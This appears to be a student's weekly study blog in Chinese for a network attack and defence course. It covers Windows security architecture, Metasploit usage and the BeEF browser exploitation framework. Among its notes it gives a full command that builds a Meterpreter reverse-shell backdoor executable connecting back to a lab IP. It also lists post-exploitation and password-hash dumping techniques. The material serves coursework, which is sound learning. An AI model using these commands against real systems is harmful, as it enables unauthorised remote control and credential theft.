20169215 2016-2017-2 《网络攻防实践》/《网络攻击与防范》第七周学习总结
教材学习内容总结
Windows操作系统基本结构
Windows操作系统分为运行于处理器特权模式(ring 0)的操作系统内核和运行在处理器非特权模式(ring 3)的用户空间代码。大多数操作系统采用宏内核模式进行架构,即大量的内核模块与设备驱动程序共享内核态内存空间,使得操作系统容易遭受以驱动方式植入内核的Rootkit的危害。
Windows操作系统内核基本模块包括:
- Windows执行体:Windows内核核心文件ntoskrnl.exe的上层接口,包含基本的操作系统内核服务;
- Windows内核体:Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能;
- 设备驱动程序:包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序;
- 硬件抽象层:即hal.dll文件,用于屏蔽Windows内核与平台硬件差异性的底层代码;
- Windows窗口与图形界面接口内核实现代码:win 32k.sys文件。
Windows操作系统在用户态的代码模块:
- 系统支持进程:Windows开机自动启动的系统内建服务进程;
- 环境子系统服务进程:为操作系统运行环境提供支持的服务进程;
- 服务进程:通过Windows的服务管理机制所启动的一系列系统及网络服务;
- 用户应用软件:在用户态执行的各类用户应用软件;
- 核心子系统DLL:kernel32.dll/user32.dll/gdi32.dll/advapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口。
Windows线程作为指令执行的具体载体,县城控制块TCB中包含程序执行的上下文信息:CPU处理器状态与寄存器内容、保存内核模式和用户模式两个栈、线程局部存储区以及线程ID,并同时共享所属进程的虚拟地址空间、资源列表和安全访问令牌。
Windows虚拟内存空间分为系统核心内存区间与用户内存区间。用户态程序无法直接访问系统核心内存,内核中运行的特权代码可以通过DKOM技术进行枚举和操纵。
Windows系统注册表在系统配置和控制方面承担着关键角色,可以通过自带的regedit.exe注册表查找编辑工具访问与修改。
Windows系统的网络组件薄块包括:
- 各种网卡硬件的设备驱动程序;
- NDIS库及miniport驱动程序;
- TDI传输层,也被称为网络协议驱动;
- 网络API DLL及TDI客户端;
- 网络应用程序与服务进程。
Windows安全体系结构与机制
Windows操作系统的安全设计目标是采用一致的、健壮的、基于对象的安全模型,支持一台机器上多个用户之间安全的共享进程、内存、设备、文件及网络等各种类型的系统资源。Windows操作系统基于引用监控模型来实现基本的对象安全模型,位于内核中的SRM安全引用监控器、位于用户态的LSASS安全服务和Winlogon/Netlogon及Eventlog等服务一起实现了对主体用户的身份认证机制、对所有资源对象的访问控制机制以及对访问的安全审计机制。
Windows操作系统中以安全主题概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组、计算机三大类。
Windows系统内建用户组包括:本地最高权限用户组 Administrator、具有单一方面系统权限的Account/Backup/Server/Print Operators等操作组、用于容纳服务账户的Network Service与Local Service用户组以及所有用户账户所在的Users组等。
Windows用户账户的口令字经过加密处理之后保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机密钥Hash加密后存储在SAM(%systemroot%system32configsam,在注册表HEKY_LOCAL_MACHINESAM中存有副本)中。
Windows的授权与访问控制机制是基于引用监控器模型,有内核中的SRM模块与用户态的LSASS服务共同来实施。Windows对于系统中所有需要保护的资源都抽象成对象,类型包括:文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存、通信接口等。每个对象关联一个SD安全描述符,其主要属性有:
- Owner SID:对象所有者的SID安全标识符;
- Group SID:对象所在基本用户的SID安全标识符;
- DACL自主访问控制列表:指明了哪些安全主体可以何种方式来访问该对象;
- SACL系统审计访问控制列表:指明了由哪些主体发起的哪些访问操作需要被审计。
Windows远程安全攻防技术
Windows远程攻击技术有以下三大类:
- 远程口令猜测与破解攻击;
- 攻击Windows网络服务;
- 攻击Windows客户端及用户。
Windows系统上的安全漏洞生命周期包括:漏洞发现与披露、渗透测试与利用攻击、漏洞修补等环节的技术过程。知名的漏洞信息库有CVE、NVD、SecurityFocus、OSVDB等。
针对特定主机系统目标,典型的渗透攻击过程包括漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试这几个环节。
Windows通过基于服务器消息块(SMB)协议承载的文件与打印共享服务来为网络用户提供远程访问文件系统和打印机的支持。SMB协议通常运行于TCP 445端口与TCP 139端口,远程桌面终端服务运行于TCP 3389端口。
Windows操作系统默认开放135(TCP)、137(UDP)、138(UDP)、139(TCP)、445(TCP)端口,对应网络服务为MSRPC远过程调用服务、NetBIOS网络基本输入/输出系统服务和SMB文件与打印共享服务。
Metasploit Windows Attack
打开msfconsole:
使用exploit:windows/smb/ms08_67_netapi渗透攻击模块:
使用show payloads查看该漏洞可以使用的padyload,会显示出很多可用的payloads:
使用set PAYLOAD payload 来设置该测试使用的payload:
执行渗透:
Windows本地安全攻防技术
从受限用户权限尝试获得特权账户的攻击技术被称为“提权”,Windows系统上进行特权提升的主要攻击途径是通过DLL注入和破解本地程序安全漏洞。
从本地获取口令字密文的主要包括如下三种途径:
- 从另一操作系统启动后拷贝文件系统中的口令密文文件;
- 利用硬盘修复工具包中的rdisk工具,执行“rdisk /s-”命令穿件SAM备份文件副本;
- 使用pwdumpX系列工具直接从SAM文件或活动目录中提取口令字密文。
教材学习中的问题和解决过程
- 动手实践时候,BT5无法向前翻页,改成使用Kali:
- msf界面不会使用:
参考网上资料进行学习。
视频学习
searchsploit
可以借助关键词搜索漏洞信息
metasploit
kali中使用metasploit,需要先开启postgreSQL数据库服务和metasploit服务。可以配置随系统启动:
update-rc.d postgresql enable
update-rc.d metasploit enable
kali中msf路径为/usr/share/metasploit-framework。
基本命令:
msfpayload:用来生成payload或者shellcode,搜索时候可以用msfpayload -l |grep “windows”命令查询
-o 选项可以列出payload所需的参数
msfencode:msf中的编码器
msfconsole:开启metasploit的console
meterpreter
是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,使用它作为攻击载荷能够获得目标系统的一个meterpretershell的链接。
meterpreter命令由核心命令和扩展库命令组成,可以添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、补货案件信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。
常用命令:
background:将当前会话放置后台
load/use:加载模块
Interact:切换进一个信道
migrate:迁移进程
run:执行一个已有模块,输入run后按两下tab,会列出所有已有脚本,常用的有autoroute、hashdump、arp_scanner、multi_meter_inject
Resource:执行一个已有的rc脚本,常用的为payload/windows/meterpreter/reverse_tcp
针对Windows操作系统,反向链接shell,使用起来比较稳定
生成Meterpreter后门命令:
msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.69.156 LPORT=2333 R | msfencode -t exe -c 5 > /root.door.exe
后渗透测试:
- 查看网卡信息
- 添加路由表:run autoroute -s 10.0.0.1
- 开socks代理:通过使用 auxiliary/server/socks4a 模块,可以为浏览器,Sqlmap,Nmap等使用
- 通过Background和sessions -i可以自由切换进入session
- 输入run可以看到在meterpreter上可以做到的很多命令
- 通过run post/可以看到后渗透测试的模块
- 获取内网信息:run arp_scanner -r 10.0.0.1/24
- 上传文件,做端口转发后进行后续测试
BeeF
一款不逊于XSS平台的工具。BEEF是浏览器攻击框架的建成,是一款专注如浏览器端的渗透测试工具。
-
命令行下启动Beef
浏览器自动打开网页,使用默认用户名beef和默认密码beef登录:
-
HOOK持续时间为关闭测试页面位置,在此期间,相当于被控制了,可以发送攻击命令,在command模块,可以完成很多任务,其中4种颜色分别表示:
- 该攻击模块可用,且隐蔽性强
- 该攻击模块可用,但隐蔽性差
- 该用户模块是否可用还有待验证
- 该攻击模块不可用
-
beef默认是不加载metas的,如果需要使用metasploit,需要修改/usr/share/beef-xss/config.yaml中的metasploit一行为true,保证IP等信息设置正确(需使用本机IP),并修改Custom路径,配置好后,打开msfconsole,运行命令:
load msgrpc ServerHost=172.16.69.156 Pass=abc123
然后执行./BeeF-x命令。
视频学习中的问题和解决过程
1、msf不存在vsftp模块:
2、msfpayload命令不存在
上周考试错题总结
- 中间人攻击可以破坏信息的机密性和完整性。(true)
- 防火墙部署方式中,不能实现网络层和应用层双重安全的是包过滤路由器和双宿主堡垒主机,屏蔽主机和屏蔽子网都可以实现。
学习进度条
时间 | 学习内容 | 博客量 |
---|---|---|
第一周 | Linux基础知识学习 | 1/1 |
第二周 | Kali视频1-5,课本一、二章内容 | 1/2 |
第三周 | Kali视频6-10,课本第三章内容 | 1/3 |
第四周 | Kali视频11-15,课本第四章内容 | 1/4 |
第五周 | Kali视频16-20,课本最后两章内容 | 1/5 |
第六周 | Kali视频21-25,课本五、六章内容 | 1/6 |
第七周 | Kali视频26-30,课本七章内容 | 1/7 |